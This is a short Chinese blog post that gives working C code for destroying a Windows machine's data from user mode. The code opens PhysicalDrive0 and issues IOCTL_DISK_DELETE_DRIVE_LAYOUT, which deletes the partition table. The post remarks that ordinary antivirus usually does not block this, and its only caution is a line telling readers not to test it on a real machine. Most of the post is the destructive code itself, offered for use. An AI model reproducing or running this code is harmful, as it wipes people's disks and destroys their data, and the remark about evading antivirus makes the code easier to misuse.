R3全盘毁坏数据

打开物理磁盘或者打开分区符号(这个需要循环)

然后使用下发IOCTL_DISK_DELETE_DRIVE_LAYOUT请求,删除分区表

一般杀软也不会阻止

不要在真机中实验!

代码:

#include
#include
#include
#include 

int main()
{
    DWORD lpBytesReturned;
    OVERLAPPED lpOverlapped = { 0 };

    HANDLE hDiskHandle = CreateFile(_T("\\\\.\\PhysicalDrive0"), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if (!hDiskHandle) {
        printf("Fail \n");
        getchar();
        return 0;
    }
    bool ret = DeviceIoControl(hDiskHandle,
        IOCTL_DISK_DELETE_DRIVE_LAYOUT,//0x0007C100
        NULL,
        0,
        NULL,
        0,
        &lpBytesReturned,
        &lpOverlapped);
    
    CloseHandle(hDiskHandle);

    printf("Finish\n");
    return 0;
}

你可能感兴趣的:(R3全盘毁坏数据)